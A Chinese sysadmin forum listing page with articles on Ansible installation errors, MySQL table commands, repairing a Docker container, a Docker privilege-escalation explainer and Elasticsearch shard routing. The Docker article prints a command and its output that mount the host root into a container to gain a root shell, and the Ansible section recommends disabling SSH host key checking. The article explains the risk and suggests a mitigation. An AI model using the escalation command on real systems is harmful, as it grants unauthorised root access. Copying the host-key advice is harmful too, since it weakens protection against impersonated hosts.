ansible安装过程中常遇到的错误

开源技术采菊篱下 发表了文章 • 0 个评论 • 2290 次浏览 • 2015-06-29 11:03 • 来自相关话题

1.安装完成后允许命令报错
Traceback (most recent call last):
File "/usr/bin/ansible", line 197, in <module>
(runner, results) = cli.run(options, args)
File "/usr/bin/ansible", line 163, in run
extra_vars=extra_vars,
File "/usr/lib/python2.6/site-packages/ansible/runner/__init__.py", line 233, in __init__
cmd = subprocess.Popen(['ssh','-o','ControlPersist'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
File "/usr/lib64/python2.6/subprocess.py", line 639, in __init__
errread, errwrite)
File "/usr/lib64/python2.6/subprocess.py", line 1228, in _execute_child
raise child_exception
OSError: [Errno 2] No such file or directory解决方法:
# yum install openssh-clients2.出现Error: ansible requires a json module, none found!
SSH password:
10.0.1.110 | FAILED >> {
"failed": true,
"msg": "Error: ansible requires a json module, nonefound!",
"parsed": false
}解决方法:
python版本过低,要不升级python要不就升级安装python-simplejson。3.安装完成后连接客户端服务器报错
FAILED => Using a SSH password insteadof a key is not possible because Host Key checking is enabled and sshpass doesnot support this. Please add this host'sfingerprint to your known_hosts file to manage this host.解决方法:
在ansible 服务器上使用ssh 登陆下/etc/ansible/hosts 里面配置的服务器。然后再次使用ansible 去管理就不会报上面的错误了!但这样大批量登陆就麻烦来。因为默认ansible是使用key验证的,如果使用密码登陆的服务器,使用ansible的话,要不修改ansible.cfg配置文件的ask_pass = True给取消注释,要不就在运行命令时候加上-k,这个意思是-k, --ask-pass ask for SSH password。再修改:host_key_checking= False即可4.如果客户端不在know_hosts里将会报错
paramiko: The authenticity of host '192.168.24.15'can't be established.
The ssh-rsa key fingerprint is397c139fd4b0d763fcffaee346a4bf6b.
Are you sure you want to continueconnecting (yes/no)?
解决方法:
需要修改ansible.cfg的#host_key_checking= False取消注释5.出现FAILED => FAILED: not a valid DSA private key file
解决方法:
需要你在最后添加参数-k6.openssh升级后无法登录报错
PAM unable todlopen(/lib64/security/pam_stack.so): /lib64/security/pam_stack.so: cannot openshared object
file: No such file or directory解决方法:
sshrpm 升级后会修改/etc/pam.d/sshd 文件。需要升级前备份此文件最后还原即可登录。7.第一次系统初始化运行生成本机ansible用户key时报错
failed: [127.0.0.1] =>{"checksum": "f5f2f20fc0774be961fffb951a50023e31abe920","failed": true}
msg: Aborting, target uses selinux but pythonbindings (libselinux-python) aren't installed!
FATAL: all hosts have already failed –aborting解决方法:
# yum install libselinux-python -y 查看全部
1.安装完成后允许命令报错
Traceback (most recent call last):
File "/usr/bin/ansible", line 197, in <module>
(runner, results) = cli.run(options, args)
File "/usr/bin/ansible", line 163, in run
extra_vars=extra_vars,
File "/usr/lib/python2.6/site-packages/ansible/runner/__init__.py", line 233, in __init__
cmd = subprocess.Popen(['ssh','-o','ControlPersist'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
File "/usr/lib64/python2.6/subprocess.py", line 639, in __init__
errread, errwrite)
File "/usr/lib64/python2.6/subprocess.py", line 1228, in _execute_child
raise child_exception
OSError: [Errno 2] No such file or directory
解决方法:
# yum install openssh-clients
2.出现Error: ansible requires a json module, none found!
SSH password:
10.0.1.110 | FAILED >> {
"failed": true,
"msg": "Error: ansible requires a json module, nonefound!",
"parsed": false
}
解决方法:
python版本过低,要不升级python要不就升级安装python-simplejson。
3.安装完成后连接客户端服务器报错
FAILED => Using a SSH password insteadof a key is not possible because Host Key checking is enabled and sshpass doesnot support this.  Please add this host'sfingerprint to your known_hosts file to manage this host.
解决方法:
在ansible 服务器上使用ssh 登陆下/etc/ansible/hosts 里面配置的服务器。然后再次使用ansible 去管理就不会报上面的错误了!但这样大批量登陆就麻烦来。因为默认ansible是使用key验证的,如果使用密码登陆的服务器,使用ansible的话,要不修改ansible.cfg配置文件的ask_pass = True给取消注释,要不就在运行命令时候加上-k,这个意思是-k, --ask-pass ask for SSH password。再修改:host_key_checking= False即可
4.如果客户端不在know_hosts里将会报错
paramiko: The authenticity of host '192.168.24.15'can't be established.
The ssh-rsa key fingerprint is397c139fd4b0d763fcffaee346a4bf6b.
Are you sure you want to continueconnecting (yes/no)?

解决方法:
需要修改ansible.cfg的#host_key_checking= False取消注释
5.出现FAILED => FAILED: not a valid DSA private key file
解决方法:
需要你在最后添加参数-k
6.openssh升级后无法登录报错
PAM unable todlopen(/lib64/security/pam_stack.so): /lib64/security/pam_stack.so: cannot openshared object
file: No such file or directory
解决方法:
sshrpm 升级后会修改/etc/pam.d/sshd 文件。需要升级前备份此文件最后还原即可登录。
7.第一次系统初始化运行生成本机ansible用户key时报错
failed: [127.0.0.1] =>{"checksum": "f5f2f20fc0774be961fffb951a50023e31abe920","failed": true}
msg: Aborting, target uses selinux but pythonbindings (libselinux-python) aren't installed!
FATAL: all hosts have already failed –aborting
解决方法:
# yum install libselinux-python -y

mysql创建和删除表

数据库Ansible 发表了文章 • 0 个评论 • 759 次浏览 • 2015-06-26 19:15 • 来自相关话题

创建表
简单的方式:CREATE TABLE person (
number INT(11),
name VARCHAR(255),
birthday DATE
);或者是CREATE TABLE IF NOT EXISTS person (
number INT(11),
name VARCHAR(255),
birthday DATE
);
查看mysql创建表:> SHOW CREATE table person;

CREATE TABLE `person` (
`number` int(11) DEFAULT NULL,
`name` varchar(255) DEFAULT NULL,
`birthday` date DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
查看表所有的列:> SHOW FULL COLUMNS from person;
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+
| Field | Type | Collation | Null | Key | Default | Extra | Privileges | Comment |
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+
| number | int(11) | NULL | YES | | NULL | | select,insert,update,references | |
| name | varchar(255) | utf8_general_ci | YES | | NULL | | select,insert,update,references | |
| birthday | date | NULL | YES | | NULL | | select,insert,update,references | |
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+
创建临时表CREATE TEMPORARY TABLE temp_person (
number INT(11),
name VARCHAR(255),
birthday DATE
);

在创建表格时,您可以使用TEMPORARY关键词。只有在当前连接情况下,TEMPORARY表才是可见的。当连接关闭时,TEMPORARY表被自动取消。这意味着两个不同的连接可以使用相同的临时表名称,同时两个临时表不会互相冲突,也不与原有的同名的非临时表冲突。(原有的表被隐藏,直到临时表被取消时为止。)您必须拥有CREATE TEMPORARY TABLES权限,才能创建临时表。

如果表已存在,则使用关键词IF NOT EXISTS可以防止发生错误。CREATE TABLE IF NOT EXISTS person2 (
number INT(11),
name VARCHAR(255),
birthday DATE
);

注意,原有表的结构与CREATE TABLE语句中表示的表的结构是否相同,这一点没有验证。注释:如果您在CREATE TABLE...SELECT语句中使用IF NOT EXISTS,则不论表是否已存在,由SELECT部分选择的记录都会被插入

在CREATE TABLE语句的末尾添加一个SELECT语句,在一个表的基础上创建表CREATE TABLE new_tbl SELECT [i] FROM orig_tbl;注意,用SELECT语句创建的列附在表的右侧,而不是覆盖在表上mysql> SELECT [/i] FROM foo;
+---+
| n |
+---+
| 1 |
+---+
mysql> CREATE TABLE bar (m INT) SELECT n FROM foo;
mysql> SELECT * FROM bar;
+------+---+
| m | n |
+------+---+
| NULL | 1 |
+------+---+也可以明确地为一个已生成的列指定类型CREATE TABLE foo (a TINYINT NOT NULL) SELECT b+1 AS a FROM bar;根据其它表的定义(包括在原表中定义的所有的列属性和索引),使用LIKE创建一个空表:CREATE TABLE new_tbl LIKE orig_tbl; 创建一个有主键,唯一索引,普通索引的表:CREATE TABLE `people` (
`peopleid` smallint(6) NOT NULL AUTO_INCREMENT,
`firstname` char(50) NOT NULL,
`lastname` char(50) NOT NULL,
`age` smallint(6) NOT NULL,
`townid` smallint(6) NOT NULL,
PRIMARY KEY (`peopleid`),
UNIQUE KEY `unique_fname_lname`(`firstname`,`lastname`),
KEY `fname_lname_age` (`firstname`,`lastname`,`age`)
) ;其中peopleid是主键,以firstname和lastname两列建立了一个唯一索引,以firstname,lastname,age三列建立了一个普通索引
 
删除表
 DROP TABLE tbl_name;

或者是

DROP TABLE IF EXISTS tbl_name;清空表数据
TRUNCATE TABLE table_name 查看全部
创建表
简单的方式:
CREATE TABLE person (
number INT(11),
name VARCHAR(255),
birthday DATE
);
或者是
CREATE TABLE IF NOT EXISTS person (
number INT(11),
name VARCHAR(255),
birthday DATE
);

查看mysql创建表:
> SHOW CREATE table person;

CREATE TABLE `person` (
`number` int(11) DEFAULT NULL,
`name` varchar(255) DEFAULT NULL,
`birthday` date DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

查看表所有的列:
> SHOW FULL COLUMNS from person;
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+
| Field | Type | Collation | Null | Key | Default | Extra | Privileges | Comment |
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+
| number | int(11) | NULL | YES | | NULL | | select,insert,update,references | |
| name | varchar(255) | utf8_general_ci | YES | | NULL | | select,insert,update,references | |
| birthday | date | NULL | YES | | NULL | | select,insert,update,references | |
+----------+--------------+-----------------+------+-----+---------+-------+---------------------------------+---------+

创建临时表
CREATE TEMPORARY TABLE temp_person (
number INT(11),
name VARCHAR(255),
birthday DATE
);


在创建表格时,您可以使用TEMPORARY关键词。只有在当前连接情况下,TEMPORARY表才是可见的。当连接关闭时,TEMPORARY表被自动取消。这意味着两个不同的连接可以使用相同的临时表名称,同时两个临时表不会互相冲突,也不与原有的同名的非临时表冲突。(原有的表被隐藏,直到临时表被取消时为止。)您必须拥有CREATE TEMPORARY TABLES权限,才能创建临时表。


如果表已存在,则使用关键词IF NOT EXISTS可以防止发生错误。
CREATE TABLE IF NOT EXISTS person2 (
number INT(11),
name VARCHAR(255),
birthday DATE
);


注意,原有表的结构与CREATE TABLE语句中表示的表的结构是否相同,这一点没有验证。注释:如果您在CREATE TABLE...SELECT语句中使用IF NOT EXISTS,则不论表是否已存在,由SELECT部分选择的记录都会被插入


在CREATE TABLE语句的末尾添加一个SELECT语句,在一个表的基础上创建表
CREATE TABLE new_tbl SELECT [i] FROM orig_tbl;
注意,用SELECT语句创建的列附在表的右侧,而不是覆盖在表上
mysql> SELECT [/i] FROM foo;
+---+
| n |
+---+
| 1 |
+---+
mysql> CREATE TABLE bar (m INT) SELECT n FROM foo;
mysql> SELECT * FROM bar;
+------+---+
| m | n |
+------+---+
| NULL | 1 |
+------+---+
也可以明确地为一个已生成的列指定类型
CREATE TABLE foo (a TINYINT NOT NULL) SELECT b+1 AS a FROM bar;
根据其它表的定义(包括在原表中定义的所有的列属性和索引),使用LIKE创建一个空表:
CREATE TABLE new_tbl LIKE orig_tbl;
 创建一个有主键,唯一索引,普通索引的表:
CREATE TABLE `people` (
`peopleid` smallint(6) NOT NULL AUTO_INCREMENT,
`firstname` char(50) NOT NULL,
`lastname` char(50) NOT NULL,
`age` smallint(6) NOT NULL,
`townid` smallint(6) NOT NULL,
PRIMARY KEY (`peopleid`),
UNIQUE KEY `unique_fname_lname`(`firstname`,`lastname`),
KEY `fname_lname_age` (`firstname`,`lastname`,`age`)
) ;
其中peopleid是主键,以firstname和lastname两列建立了一个唯一索引,以firstname,lastname,age三列建立了一个普通索引
 
删除表
 
DROP TABLE  tbl_name;

或者是

DROP TABLE IF EXISTS tbl_name;
清空表数据
TRUNCATE TABLE table_name

docker容器故障致无法启动解决实例

大数据/云计算小白菜 发表了文章 • 0 个评论 • 783 次浏览 • 2015-06-24 16:48 • 来自相关话题

内网断电后,有一台机器没有如往常一样起来,该服务器是docke上的一个容器,然后登录docker宿主机,开始问题分析及解决: 一、寻找问题
1、启动iframe-test机器
root@ubuntu:~#docker start iframe-test
iframe-test
2、发现没有容器进程
root@ubuntu:~#docker ps |grep iframe-test
3、查看日志,发现是nginx配置有问题,导致中断。
root@ubuntu:~# docker logs iframe-test

Startingnginx: Starting periodic command scheduler: cron.
nginx:[emerg] unexpected end of file, expecting ";" or "}" in/etc/nginx/nginx.conf:21
nginx:configuration file /etc/nginx/nginx.conf test failed二、思考解决方法
问题原因找到,就是nginx文件检测不通过,导致中断。
解决思路暂有两个:
方法一:把这个问题容器用docker commit提交到一个新的镜像,然后用docker run -i -d基于新镜像运行一个临时终端进去改变配置文件,然后把临时终端的id提交到一个新的镜像,然后在基于新的镜像重新启动容器。(这个方法步骤多,而且提交了新的镜像,对于后续维护增加了复杂性)
方法二:直接改变容器里的配置文件,不需要新提交镜像。三、修改宕机容器配置
所有的容器数据都存在/var/lib/docker/aufs/diff/路径下。下面容器ID目录,以init结尾的是放配置文件的,有/etc/host、reselv.conf,/dev等。另一个是放的文件目录,比如/home,/var/及自己安装的服务等等,aufs需要内核3.10以上的支持。1、查看容器id
root@ubuntu:~#docker ps -a|grep iframe-test
fa02f8084b63 debian06-base:latest 2、查找nginx.conf配置文件路径
root@ubuntu:~#find / -name 'nginx.conf'
/root/nginx.conf
/var/lib/docker/aufs/diff/7c7b3438586e0653cdca7977a4f889cfdca300f008771462f8a2e6e9d3bc5b84/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/6bc6a9a5aeb59e19cae8bb78daa481cc465051069c7854528cbfdb3c9c1f2bfb/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/c7b6b87cfda72701229eebca868eb047aa01c255b62e56ad223dc75396c584e4/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456/etc/nginx/nginx.conf3、进入对应容器id的目录,修改问题文件
root@ubuntu:cd /var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456
执行ls命令,容器的根目录展现在面前,是不是很熟悉?
root@ubuntu:/var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456#ls
etc root run srv tmp usr var
接下来找到这个容器里面nginx.conf的语法错误处修改。4、修改后启动容器
root@ubuntu:~# docker start iframe-test

root@ubuntu:~# docker ps |grep iframe-test
fa02f8084b63 debian06-base:latest "/etc/rc.local" 6 weeks ago Up 13 minutes 10.18.103.2:22->22/tcp,10.18.103.2:80->80/tcp, 10.18.103.2:443->443/tcp,10.18.103.2:3306->3306/tcp, 10.18.103.2:6379->6379/tcp,10.18.103.2:6381->6381/tcp, 10.18.103.2:8000->8000/tcp,10.18.103.2:8888->8888/tcp  iframe-test 容器启动成功,问题解决。 查看全部
内网断电后,有一台机器没有如往常一样起来,该服务器是docke上的一个容器,然后登录docker宿主机,开始问题分析及解决:
 
一、寻找问题
1、启动iframe-test机器
root@ubuntu:~#docker start iframe-test
iframe-test
2、发现没有容器进程
root@ubuntu:~#docker ps |grep iframe-test
3、查看日志,发现是nginx配置有问题,导致中断。
root@ubuntu:~# docker logs iframe-test

Startingnginx: Starting periodic command scheduler: cron.
nginx:[emerg] unexpected end of file, expecting ";" or "}" in/etc/nginx/nginx.conf:21
nginx:configuration file /etc/nginx/nginx.conf test failed
二、思考解决方法
问题原因找到,就是nginx文件检测不通过,导致中断。
解决思路暂有两个:
方法一:把这个问题容器用docker commit提交到一个新的镜像,然后用docker run -i -d基于新镜像运行一个临时终端进去改变配置文件,然后把临时终端的id提交到一个新的镜像,然后在基于新的镜像重新启动容器。(这个方法步骤多,而且提交了新的镜像,对于后续维护增加了复杂性)
方法二:直接改变容器里的配置文件,不需要新提交镜像。
三、修改宕机容器配置
所有的容器数据都存在/var/lib/docker/aufs/diff/路径下。下面容器ID目录,以init结尾的是放配置文件的,有/etc/host、reselv.conf,/dev等。另一个是放的文件目录,比如/home,/var/及自己安装的服务等等,aufs需要内核3.10以上的支持。
1、查看容器id
root@ubuntu:~#docker ps -a|grep iframe-test
fa02f8084b63 debian06-base:latest
2、查找nginx.conf配置文件路径
root@ubuntu:~#find / -name 'nginx.conf'
/root/nginx.conf
/var/lib/docker/aufs/diff/7c7b3438586e0653cdca7977a4f889cfdca300f008771462f8a2e6e9d3bc5b84/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/6bc6a9a5aeb59e19cae8bb78daa481cc465051069c7854528cbfdb3c9c1f2bfb/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/c7b6b87cfda72701229eebca868eb047aa01c255b62e56ad223dc75396c584e4/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456/etc/nginx/nginx.conf
3、进入对应容器id的目录,修改问题文件
root@ubuntu:cd /var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456
执行ls命令,容器的根目录展现在面前,是不是很熟悉?
root@ubuntu:/var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456#ls
etc root run srv tmp usr var
接下来找到这个容器里面nginx.conf的语法错误处修改。
4、修改后启动容器
root@ubuntu:~# docker start iframe-test

root@ubuntu:~# docker ps |grep iframe-test
fa02f8084b63 debian06-base:latest "/etc/rc.local" 6 weeks ago Up 13 minutes 10.18.103.2:22->22/tcp,10.18.103.2:80->80/tcp, 10.18.103.2:443->443/tcp,10.18.103.2:3306->3306/tcp, 10.18.103.2:6379->6379/tcp,10.18.103.2:6381->6381/tcp, 10.18.103.2:8000->8000/tcp,10.18.103.2:8888->8888/tcp  
iframe-test 
容器启动成功,问题解决。

Docker 安全:通过 Docker 提升权限

大数据/云计算Ansible 发表了文章 • 0 个评论 • 960 次浏览 • 2015-06-22 14:37 • 来自相关话题

如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#

译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?


解释
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
翻译原文连接:http://mp.weixin.qq.com/s?__biz=MzA5OTAyNzQ2OA==&mid=206160672&idx=1&sn=ffe9dc83d0a486e044ff45e025465593&3rd=MzA3MDU4NTYzMw==&scene=6#rd 查看全部
如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#


译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?



解释
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
翻译原文连接:http://mp.weixin.qq.com/s?__biz=MzA5OTAyNzQ2OA==&mid=206160672&idx=1&sn=ffe9dc83d0a486e044ff45e025465593&3rd=MzA3MDU4NTYzMw==&scene=6#rd

Elasticsearch 分片交互过程详解

大数据/云计算Ansible 发表了文章 • 0 个评论 • 1590 次浏览 • 2015-06-18 01:40 • 来自相关话题

一、Elasticseach如何将数据存储到分片中
二、主分片与复制分片如何交互
1、索引与删除一个文档
2、更新一个文档
3、检索文档

一、Elasticseach如何将数据存储到分片中

问题:当我们要在ES中存储数据的时候,数据应该存储在主分片和复制分片中的哪一个中去;当我们在ES中检索数据的时候,又是怎么判断要查询的数据是属于哪一个分片。 

数据存储到分片的过程是一定规则的,并不是随机发生的。

规则:shard = hash(routing) % number_of_primary_shards

Routing值可以是一个任意的字符串,默认情况下,它的值为存数数据对应文档 _id 值,也可以是用户自定义的值。Routing这个字符串通过一个hash的函数处理,并返回一个数值,然后再除以索引中主分片的数目,所得的余数作为主分片的编号,取值一般在0到number_of_primary_shards - 1的这个范围中。通过这种方法计算出该数据是存储到哪个分片中。

正是这种路由机制,导致了主分片的个数为什么在索引建立之后不能修改。对已有索引主分片数目的修改直接会导致路由规则出现严重问题,部分数据将无法被检索。
 
二、主分片与复制分片如何交互
为了说明这个问题,我用一个例子来说明。





在上面这个例子中,有三个ES的node,其中每一个index中包含两个primary shard,每个primary shard拥有一个replica shard。下面从几种常见的数据操作来说明二者之间的交互情况。
 
1、索引与删除一个文档





这两种过程均可以分为三个过程来描述:
阶段1:客户端发送了一个索引或者删除的请求给node 1。

阶段2:node 1通过请求中文档的 _id 值判断出该文档应该被存储在shard 0 这个分片中,并且node 1知道shard 0的primary shard位于node 3这个节点上。因此node 1会把这个请求转发到node 3。

阶段3:node 3在shard 0 的primary shard上执行请求。如果请求执行成功,它node 3将并行地将该请求发给shard 0的其余所有replica shard上,也就是存在于node 1和node 2中的replica shard。如果所有的replica shard都成功地执行了请求,那么将会向node 3回复一个成功确认,当node 3收到了所有replica shard的确认信息后,则最后向用户返回一个Success的消息。
 
2、更新一个文档





该过程可以分为四个阶段来描述:
阶段1:客户端向node 1发送一个文档更新的请求。

阶段2:同样的node 1通过请求中文档的 _id 值判断出该文档应该被存储在shard 0 这个分片中,并且node 1知道shard 0的primary shard位于node 3这个节点上。因此node 1会把这个请求转发到node 3。

阶段3:node 3从文档所在的primary shard中获取到它的JSON文件,并修改其中的_source中的内容,之后再重新索引该文档到其primary shard中。

阶段4:如果node 3成功地更新了文档,node 3将会把文档新的版本并行地发给其余所有的replica shard所在node中。这些node也同样重新索引新版本的文档,执行后则向node 3确认成功,当node 3接收到所有的成功确认之后,再向客户端发送一个更新成功的信息。
 
3、检索文档
CRUD这些操作的过程中一般都是结合一些唯一的标记例如:_index,_type,以及routing的值,这就意味在执行操作的时候都是确切的知道文档在集群中的哪个node中,哪个shard中。

而检索过程往往需要更多的执行模式,因为我们并不清楚所要检索的文档具体位置所在, 它们可能存在于ES集群中个任何位置。因此,一般情况下,检索的执行不得不去询问index中的每一个shard。

但是,找到所有匹配检索的文档仅仅只是检索过程的一半,在向客户端返回一个结果列表之前,必须将各个shard发回的小片的检索结果,拼接成一个大的已排好序的汇总结果列表。正因为这个原因,检索的过程将分为查询阶段与获取阶段(Query Phase and Fetch Phase)。

Query Phase
在最初的查询过程中,查询请求会广播到index中的每一个primary shard和replica shard中,每一个shard会在本地执行检索,并建立一个优先级队列(priority queue)。这个优先级队列是一个根据文档匹配度这个指标所排序列表,列表的长度由分页参数from和size两个参数所决定。例如:






下面从一个例子中说明这个过程:





Query Phase阶段可以再细分成3个小的子阶段:

子阶段1:客户端发送一个检索的请求给node 3,此时node 3会创建一个空的优先级队列并且配置好分页参数from与size。

子阶段2:node 3将检索请求发送给该index中个每一个shard(这里的每一个意思是无论它是primary还是replica,它们的组合可以构成一个完整的index数据)。每个shard在本地执行检索,并将结果添加到本地优先级队列中。

子阶段3:每个shard返回本地优先级序列中所记录的_id与sort值,并发送node 3。Node 3将这些值合并到自己的本地的优先级队列中,并做全局的排序。
 
Fetch Phase
Query Phase主要定位了所要检索数据的具体位置,但是我们还必须取回它们才能完成整个检索过程。而Fetch Phase阶段的任务就是将这些定位好的数据内容取回并返回给客户端。
 
同样也用一个例子来说明这个过程:





Fetch Phase过程可以分为三个子过程来描述:

子阶段1:node 3获取了所有待检索数据的定位之后,发送一个mget的请求给与数据相关的shard。

子阶段2:每个收到node 3的get请求的shard将读取相关文档_source中的内容,并将它们返回给node 3。

子阶段3:当node 3获取到了所有shard返回的文档后,node 3将它们合并成一条汇总的结果,返回给客户端。 查看全部


一、Elasticseach如何将数据存储到分片中
二、主分片与复制分片如何交互
1、索引与删除一个文档
2、更新一个文档
3、检索文档


一、Elasticseach如何将数据存储到分片中

问题:当我们要在ES中存储数据的时候,数据应该存储在主分片和复制分片中的哪一个中去;当我们在ES中检索数据的时候,又是怎么判断要查询的数据是属于哪一个分片。 

数据存储到分片的过程是一定规则的,并不是随机发生的。

规则:shard = hash(routing) % number_of_primary_shards

Routing值可以是一个任意的字符串,默认情况下,它的值为存数数据对应文档 _id 值,也可以是用户自定义的值。Routing这个字符串通过一个hash的函数处理,并返回一个数值,然后再除以索引中主分片的数目,所得的余数作为主分片的编号,取值一般在0到number_of_primary_shards - 1的这个范围中。通过这种方法计算出该数据是存储到哪个分片中。

正是这种路由机制,导致了主分片的个数为什么在索引建立之后不能修改。对已有索引主分片数目的修改直接会导致路由规则出现严重问题,部分数据将无法被检索。
 
二、主分片与复制分片如何交互
为了说明这个问题,我用一个例子来说明。

a.png

在上面这个例子中,有三个ES的node,其中每一个index中包含两个primary shard,每个primary shard拥有一个replica shard。下面从几种常见的数据操作来说明二者之间的交互情况。
 
1、索引与删除一个文档

b.png

这两种过程均可以分为三个过程来描述:
阶段1:客户端发送了一个索引或者删除的请求给node 1。

阶段2:node 1通过请求中文档的 _id 值判断出该文档应该被存储在shard 0 这个分片中,并且node 1知道shard 0的primary shard位于node 3这个节点上。因此node 1会把这个请求转发到node 3。

阶段3:node 3在shard 0 的primary shard上执行请求。如果请求执行成功,它node 3将并行地将该请求发给shard 0的其余所有replica shard上,也就是存在于node 1和node 2中的replica shard。如果所有的replica shard都成功地执行了请求,那么将会向node 3回复一个成功确认,当node 3收到了所有replica shard的确认信息后,则最后向用户返回一个Success的消息。
 
2、更新一个文档

c.png

该过程可以分为四个阶段来描述:
阶段1
:客户端向node 1发送一个文档更新的请求。

阶段2:同样的node 1通过请求中文档的 _id 值判断出该文档应该被存储在shard 0 这个分片中,并且node 1知道shard 0的primary shard位于node 3这个节点上。因此node 1会把这个请求转发到node 3。

阶段3:node 3从文档所在的primary shard中获取到它的JSON文件,并修改其中的_source中的内容,之后再重新索引该文档到其primary shard中。

阶段4:如果node 3成功地更新了文档,node 3将会把文档新的版本并行地发给其余所有的replica shard所在node中。这些node也同样重新索引新版本的文档,执行后则向node 3确认成功,当node 3接收到所有的成功确认之后,再向客户端发送一个更新成功的信息。
 
3、检索文档
